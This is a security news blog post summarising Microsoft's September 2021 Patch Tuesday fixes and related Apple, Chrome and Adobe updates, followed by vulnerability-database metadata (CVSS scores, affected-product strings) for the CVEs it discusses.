Microsoft Patch Tuesday, September 2021 Edition

2021-09-14T21:00:42

Description

**Microsoft** today pushed software updates to plug dozens of security holes in Windows and related products, including a vulnerability that is already being exploited in active attacks. Also, **Apple** has issued an emergency update to fix a flaw that's reportedly been abused to install spyware on **iOS** products, and **Google**'s got a new version of **Chrome** that tackles two zero-day flaws. Finally, Adobe has released critical security updates for **Acrobat**, **Reader** and a slew of other software. ![](https://krebsonsecurity.com/wp-content/uploads/2021/07/windupate.png) Four of the flaws fixed in this patch batch earned Microsoft's most-dire "critical" rating, meaning they could be exploited by miscreants or malware to remotely compromise a Windows PC with little or no help from the user. Top of the critical heap is [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>), which affects the “MSHTML” component of **Internet Explorer** (IE) on **Windows 10** and many **Windows Server** versions. In [a security advisory last week](<https://krebsonsecurity.com/2021/09/microsoft-attackers-exploiting-windows-zero-day-flaw/>), Microsoft warned attackers already are exploiting the flaw through **Microsoft Office** applications as well as IE. The critical bug [CVE-2021-36965](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36965>) is interesting, as it involves a remote code execution flaw in "WLAN AutoConfig," the component in Windows 10 and many Server versions that handles auto-connections to Wi-Fi networks. One mitigating factor here is that the attacker and target would have to be on the same network, although many systems are configured to auto-connect to Wi-Fi network names with which they have previously connected. **Allan Liska**, senior security architect at [Recorded Future](<https://www.recordedfuture.com>), said a similar vulnerability -- [CVE-2021-28316](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28316>) -- was announced in April. "CVE-2021-28316 was a security bypass vulnerability, not remote code execution, and it has never been reported as publicly exploited," Liska said. "That being said, the ubiquity of systems deployed with WLAN AutoConfig enabled could make it an attractive target for exploitation." Another critical weakness that enterprises using Azure should prioritize is [CVE-2021-38647](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>), which is a remote code execution bug in Azure Open Management Infrastructure (OMI) that has a CVSS Score of 9.8 (10 is the worst). It was [reported and detailed](<https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution>) by researchers at **Wiz.io**, who said CVE-2021-38647 was one of four bugs in Azure OMI they found that Microsoft patched this week. "We conservatively estimate that thousands of Azure customers and millions of endpoints are affected," Wiz.io's [Nir Ohfeld](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>) wrote. "In a small sample of Azure tenants we analyzed, over 65% were unknowingly at risk." Kevin** Breen** of [Immersive Labs](<https://www.immersivelabs.com/>) calls attention to several "privilege escalation" flaws fixed by Microsoft this month, noting that while these bugs carry lesser severity ratings, Microsoft considers them more likely to be exploited by bad guys and malware. "[CVE-2021-38639](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38639>) and [CVE-2021-36975](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36975>) have also been listed as 'exploitation more likely' and together cover the full range of supported Windows versions," Breem wrote. "I am starting to feel like a broken record when talking about privilege escalation vulnerabilities. They typically have a lower CVSS score than something like Remote Code Execution, but these local exploits can be the linchpin in the post-exploitation phases of an experienced attacker. If you can block them here you have the potential to significantly limit their damage. If we assume a determined attacker will be able to infect a victim’s device through social engineering or other techniques, I would argue that patching these is even more important than patching some other Remote Code execution vulnerabilities." Apple on Monday pushed out [an urgent security update](<https://support.apple.com/en-us/HT212807>) to fix a "zero-click" iOS vulnerability ([CVE-2021-30860](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30860>)) reported by researchers at **Citizen Lab** that allows commands to be run when files are opened on certain Apple devices. [Citizen Lab found](<https://citizenlab.ca/2021/09/forcedentry-nso-group-imessage-zero-click-exploit-captured-in-the-wild/>) that an exploit for CVE-2021-30860 was being used by the [NSO Group](<https://en.wikipedia.org/wiki/NSO_Group>), an Israeli tech company whose spyware enables the remote surveillance of smartphones. **Google** also released [a new version](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) of its **Chrome** browser on Monday to fix nine vulnerabilities, including two that are under active attack. If you're running Chrome, keep a lookout for when you see an "Update" tab appear to the right of the address bar. If it's been a while since you closed the browser, you might see the Update button turn from green to orange and then red. Green means an update has been available for two days; orange means four days have elapsed, and red means your browser is a week or more behind on important updates. Completely close and restart the browser to install any pending updates. As it usually does on Patch Tuesday, Adobe also released new versions of Reader, Acrobat and [a large number of other products](<https://helpx.adobe.com/security.html>). Adobe says it is not aware of any exploits in the wild for any of the issues addressed in its updates today. For a complete rundown of all patches released today and indexed by severity, check out the [always-useful Patch Tuesday roundup](<https://isc.sans.edu/forums/diary/Microsoft+September+2021+Patch+Tuesday/27834/>) from the **SANS Internet Storm Center**. And it’s not a bad idea to hold off updating for a few days until Microsoft works out any kinks in the updates: [AskWoody.com](<https://www.askwoody.com/2021/september-2021-its-patch-day/>) usually has the lowdown on any patches that are causing problems for Windows users. On that note, before you update _please_ make sure you have backed up your system and/or important files. It’s not uncommon for a Windows update package to hose one’s system or prevent it from booting properly, and some updates have been known to erase or corrupt files. So do yourself a favor and backup before installing any patches. Windows 10 even has some [built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once. And if you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches on its own schedule, [see this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>). If you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there’s a decent chance other readers have experienced the same and may chime in here with useful tips.

{"id": "KREBS:2EC42B845847A6DCFE50ECEB9FF61C29", "type": "krebs", "bulletinFamily": "blog", "title": "Microsoft Patch Tuesday, September 2021 Edition", "description": "**Microsoft** today pushed software updates to plug dozens of security holes in Windows and related products, including a vulnerability that is already being exploited in active attacks. Also, **Apple** has issued an emergency update to fix a flaw that's reportedly been abused to install spyware on **iOS** products, and **Google**'s got a new version of **Chrome** that tackles two zero-day flaws. Finally, Adobe has released critical security updates for **Acrobat**, **Reader** and a slew of other software.\n\n![](https://krebsonsecurity.com/wp-content/uploads/2021/07/windupate.png)\n\nFour of the flaws fixed in this patch batch earned Microsoft's most-dire "critical" rating, meaning they could be exploited by miscreants or malware to remotely compromise a Windows PC with little or no help from the user.\n\nTop of the critical heap is [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>), which affects the \u201cMSHTML\u201d component of **Internet Explorer** (IE) on **Windows 10** and many **Windows Server** versions. In [a security advisory last week](<https://krebsonsecurity.com/2021/09/microsoft-attackers-exploiting-windows-zero-day-flaw/>), Microsoft warned attackers already are exploiting the flaw through **Microsoft Office** applications as well as IE.\n\nThe critical bug [CVE-2021-36965](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36965>) is interesting, as it involves a remote code execution flaw in "WLAN AutoConfig," the component in Windows 10 and many Server versions that handles auto-connections to Wi-Fi networks. One mitigating factor here is that the attacker and target would have to be on the same network, although many systems are configured to auto-connect to Wi-Fi network names with which they have previously connected.\n\n**Allan Liska**, senior security architect at [Recorded Future](<https://www.recordedfuture.com>), said a similar vulnerability -- [CVE-2021-28316](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28316>) -- was announced in April.\n\n"CVE-2021-28316 was a security bypass vulnerability, not remote code execution, and it has never been reported as publicly exploited," Liska said. "That being said, the ubiquity of systems deployed with WLAN AutoConfig enabled could make it an attractive target for exploitation."\n\nAnother critical weakness that enterprises using Azure should prioritize is [CVE-2021-38647](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>), which is a remote code execution bug in Azure Open Management Infrastructure (OMI) that has a CVSS Score of 9.8 (10 is the worst). It was [reported and detailed](<https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution>) by researchers at **Wiz.io**, who said CVE-2021-38647 was one of four bugs in Azure OMI they found that Microsoft patched this week.\n\n"We conservatively estimate that thousands of Azure customers and millions of endpoints are affected," Wiz.io's [Nir Ohfeld](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>) wrote. "In a small sample of Azure tenants we analyzed, over 65% were unknowingly at risk."\n\nKevin** Breen** of [Immersive Labs](<https://www.immersivelabs.com/>) calls attention to several "privilege escalation" flaws fixed by Microsoft this month, noting that while these bugs carry lesser severity ratings, Microsoft considers them more likely to be exploited by bad guys and malware.\n\n"[CVE-2021-38639](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38639>) and [CVE-2021-36975](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36975>) have also been listed as 'exploitation more likely' and together cover the full range of supported Windows versions," Breem wrote. "I am starting to feel like a broken record when talking about privilege escalation vulnerabilities. They typically have a lower CVSS score than something like Remote Code Execution, but these local exploits can be the linchpin in the post-exploitation phases of an experienced attacker. If you can block them here you have the potential to significantly limit their damage. If we assume a determined attacker will be able to infect a victim\u2019s device through social engineering or other techniques, I would argue that patching these is even more important than patching some other Remote Code execution vulnerabilities."\n\nApple on Monday pushed out [an urgent security update](<https://support.apple.com/en-us/HT212807>) to fix a "zero-click" iOS vulnerability ([CVE-2021-30860](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30860>)) reported by researchers at **Citizen Lab** that allows commands to be run when files are opened on certain Apple devices. [Citizen Lab found](<https://citizenlab.ca/2021/09/forcedentry-nso-group-imessage-zero-click-exploit-captured-in-the-wild/>) that an exploit for CVE-2021-30860 was being used by the [NSO Group](<https://en.wikipedia.org/wiki/NSO_Group>), an Israeli tech company whose spyware enables the remote surveillance of smartphones.\n\n**Google** also released [a new version](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) of its **Chrome** browser on Monday to fix nine vulnerabilities, including two that are under active attack. If you're running Chrome, keep a lookout for when you see an "Update" tab appear to the right of the address bar. If it's been a while since you closed the browser, you might see the Update button turn from green to orange and then red. Green means an update has been available for two days; orange means four days have elapsed, and red means your browser is a week or more behind on important updates. Completely close and restart the browser to install any pending updates.\n\nAs it usually does on Patch Tuesday, Adobe also released new versions of Reader, Acrobat and [a large number of other products](<https://helpx.adobe.com/security.html>). Adobe says it is not aware of any exploits in the wild for any of the issues addressed in its updates today.\n\nFor a complete rundown of all patches released today and indexed by severity, check out the [always-useful Patch Tuesday roundup](<https://isc.sans.edu/forums/diary/Microsoft+September+2021+Patch+Tuesday/27834/>) from the **SANS Internet Storm Center**. And it\u2019s not a bad idea to hold off updating for a few days until Microsoft works out any kinks in the updates: [AskWoody.com](<https://www.askwoody.com/2021/september-2021-its-patch-day/>) usually has the lowdown on any patches that are causing problems for Windows users.\n\nOn that note, before you update _please_ make sure you have backed up your system and/or important files. It\u2019s not uncommon for a Windows update package to hose one\u2019s system or prevent it from booting properly, and some updates have been known to erase or corrupt files.\n\nSo do yourself a favor and backup before installing any patches. Windows 10 even has some [built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once.\n\nAnd if you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches on its own schedule, [see this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>).\n\nIf you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there\u2019s a decent chance other readers have experienced the same and may chime in here with useful tips.", "published": "2021-09-14T21:00:42", "modified": "2021-09-14T21:00:42", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 2.1, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "LOW", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "PHYSICAL", "availabilityImpact": "NONE", "baseScore": 4.6, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 0.9, "impactScore": 3.6}, "href": "https://krebsonsecurity.com/2021/09/microsoft-patch-tuesday-september-2021-edition/", "reporter": "BrianKrebs", "references": [], "cvelist": ["CVE-2021-28316", "CVE-2021-30860", "CVE-2021-36965", "CVE-2021-36975", "CVE-2021-38639", "CVE-2021-38647", "CVE-2021-40444"], "immutableFields": [], "lastseen": "2021-09-26T09:25:20", "viewCount": 104, "enchantments": {"dependencies": {"references": [{"type": "apple", "idList": ["APPLE:60998B3B940109A56BF6379394ED5080", "APPLE:8C1BA0F4BE51DB0968E9F4F1E9D14283", "APPLE:C50792B317EF097406A9E9F4BBAA8D46", "APPLE:E01F2833FC14279371768789610339B0", "APPLE:F4733CD8CAEEC05AE6BBB1A2AAC1D5EF"]}, {"type": "attackerkb", "idList": ["AKB:0802ECEE-BB4C-4C5B-969C-32CB9808C281", "AKB:1FA9A53C-0452-4411-96C9-C0DD833F8D18", "AKB:A655707A-D5EC-4F21-AFEE-D9C97837C840", "AKB:F7CCD0B7-220B-49E5-A4DF-27E26B64A3F0"]}, {"type": "avleonov", "idList": ["AVLEONOV:44DF3C4B3D05A7DC39FB6314F5D94892", "AVLEONOV:5945665DFA613F7707360C10CED8C916"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0550", "CPAI-2021-0554", "CPAI-2021-0592", "CPAI-2021-0684"]}, {"type": "cisa", "idList": ["CISA:7A03F1FDD93F2460E93364A81C411404", "CISA:82FAB13698D3611E1292062AD6C8B405", "CISA:C70D91615E3DC8B589B493118D474566"]}, {"type": "cve", "idList": ["CVE-2021-28316", "CVE-2021-30860", "CVE-2021-36965", "CVE-2021-36975", "CVE-2021-38639", "CVE-2021-38647", "CVE-2021-40444"]}, {"type": "githubexploit", "idList": ["09412330-832C-538A-A226-61474048E41B", "0990FE6E-7DC3-559E-9B84-E739872B988C", "0D0DAF60-4F3C-5B17-8BAB-5A8A73BC25CC", "0E388E09-F00E-58B6-BEFE-026913357CE0", "0E965070-1EAE-59AA-86E6-41ADEFDAED7D", "111C9F44-593D-5E56-8040-615B48ED3E24", "1EC6324C-A18E-517A-9A55-F1C2D1BCA358", "24DE1902-4427-5442-BF63-7657293966E2", "28B1FAAB-984F-5469-BC0D-3861F3BCF3B5", "29AB2E6A-3E44-55A2-801D-2971FABB2E5D", "374D00E3-03E0-5580-9CDF-C7CCABB45C2F", "37D2BE4F-9D7A-51CD-B802-2FAB35B39A4E", "54D698B4-9CF0-5D7F-88D2-1053A11EA7C3", "588DA6EE-E603-5CF2-A9A3-47E98F68926C", "610ADCD3-C281-52D4-A546-467569FE3AC1", "64DFB465-6754-5E4B-B311-7668EDD4D962", "6BC80C90-569E-5084-8C0E-891F12F1805E", "72881C31-5BFD-5DAF-9D20-D6170EEC520D", "7333A285-768C-5AD9-B64E-0EC75F075597", "745C9387-7E9D-5BA8-BC2D-5B3EF7DCE82A", "7643EC22-CCD0-56A6-9113-B5EF435E22FC", "7C32DA80-90D8-53DB-8CDA-E29BFB69B548", "7DE60C34-40B8-50E4-B1A0-FC1D10F97677", "8217668C-9748-5511-8C01-7E933D69F872", "88EFCA30-5DED-59FB-A476-A92F53D1497E", "8B4EDA16-9E27-500D-B648-9C3AD4295562", "8B907536-B213-590D-81B9-32CF4A55322E", "8CD90173-6341-5FAD-942A-A9617561026A", "9366C7C7-BF57-5CFF-A1B5-8D8CF169E72A", "A6B7D4D8-4578-5AD8-961D-3BC35007FF29", "A99AB73C-8E46-5B9C-A402-F78F96EE2327", "AAFEAA7E-81B7-5CE7-9E2F-16828CC5468F", "B7D137AD-216F-5D27-9D7B-6F3B5EEB266D", "B9C2639D-9C07-5F11-B663-C144F457A9F7", "BF40B403-9D06-5460-8B40-3FC2E56A4A07", "CC6DFDC6-184F-5748-A9EC-946E8BA5FB04", "CCA69DF0-1EB2-5F30-BEC9-04ED43F42EA5", "CE2FB7D7-ABCF-58F8-AACC-D0E6FEE8865A", "DD5D2BF7-BE9D-59EA-8DF2-D85AEC13A4A0", "E06577DB-A581-55E1-968E-81430C294A84", "F5CEF191-B04C-5FC5-82D1-3B728EC648A9", "FA1DEEA0-A8AF-5C21-98E6-9D3379266529", "FBB2DA29-1A11-5D78-A28C-1BF3821613AC", "FF761088-559C-5E71-A5CD-196D4E4571B8"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:13ED546BFEDF54BBE09B80D00208352E", "GOOGLEPROJECTZERO:3B4F7E79DDCD0AFF3B9BB86429182DCA", "GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "hivepro", "idList": ["HIVEPRO:433978802EA1E557CC5202EE1014E67B", "HIVEPRO:B772F2F7B4C9AE8452D1197E2E240204", "HIVEPRO:E57DA2FED4B890B898EFA2B68C657043"]}, {"type": "ibm", "idList": ["1E405D4974F6EA8AB73C7DDA9E9B3B2FCA2359AF05B6CF7C124046402F2BC520"]}, {"type": "kaspersky", "idList": ["KLA12139", "KLA12142", "KLA12277", "KLA12278", "KLA12286", "KLA12289", "KLA12290", "KLA12297"]}, {"type": "kitploit", "idList": ["KITPLOIT:1624142243530526923", "KITPLOIT:2590785192528609562", "KITPLOIT:3456474172768099634", "KITPLOIT:3697667464193804316", "KITPLOIT:4033244480100620751", "KITPLOIT:4074521293617632933", "KITPLOIT:5187040326820919368", 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"description": "Open Management Infrastructure Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "cve", "title": "CVE-2021-38647", "cwe": ["CWE-665"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2022-07-12T17:42:00", "cpe": ["cpe:/a:microsoft:azure_automation_update_management:-", "cpe:/a:microsoft:azure_automation_state_configuration:-", "cpe:/a:microsoft:azure_diagnostics_\$lad\$:-", "cpe:/a:microsoft:azure_security_center:-", "cpe:/a:microsoft:azure_stack_hub:-", "cpe:/a:microsoft:azure_open_management_infrastructure:-", "cpe:/a:microsoft:azure_sentinel:-", "cpe:/a:microsoft:system_center_operations_manager:-", "cpe:/a:microsoft:container_monitoring_solution:-", "cpe:/a:microsoft:log_analytics_agent:-"], "id": "CVE-2021-38647", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-38647", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:microsoft:azure_automation_update_management:-:*:*:*:*:*:*:*", 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This issue is fixed in Security Update 2021-005 Catalina, iOS 14.8 and iPadOS 14.8, macOS Big Sur 11.6, watchOS 7.6.2. Processing a maliciously crafted PDF may lead to arbitrary code execution. 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"accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860"], "modified": "2022-09-30T15:05:00", "cpe": ["cpe:/o:apple:mac_os_x:10.15.7"], "id": "CVE-2021-30860", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-30860", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-003:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-002:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:-:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020-001:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-004:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-001:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020:*:*:*:*:*:*"]}, {"lastseen": "2023-05-23T15:42:50", "description": "Microsoft MSHTML Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "cve", "title": "CVE-2021-40444", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, 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["cpe:2.3:o:microsoft:windows_server_2012:-:r2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:-:*:-:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:-:*:-:*", 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"userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "prion", "title": "CVE-2021-36975", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36975", "CVE-2021-38639"], "modified": "2021-09-26T21:08:00", "id": "PRION:CVE-2021-36975", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-36975", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T06:49:32", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-36975.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "prion", "title": "CVE-2021-38639", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36975", "CVE-2021-38639"], "modified": "2021-09-26T21:31:00", "id": "PRION:CVE-2021-38639", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-38639", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T06:34:26", "description": "Windows WLAN AutoConfig Service Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "prion", "title": "CVE-2021-36965", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36965"], "modified": "2021-09-25T11:27:00", "id": "PRION:CVE-2021-36965", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-36965", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T02:55:36", "description": "Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "cvss3": {"exploitabilityScore": 0.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "PHYSICAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 4.6, "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-04-13T20:15:00", "type": "prion", "title": "CVE-2021-28316", "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28316"], "modified": "2021-04-15T20:47:00", "id": "PRION:CVE-2021-28316", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-28316", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-08-16T06:49:34", "description": "Open Management Infrastructure Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", 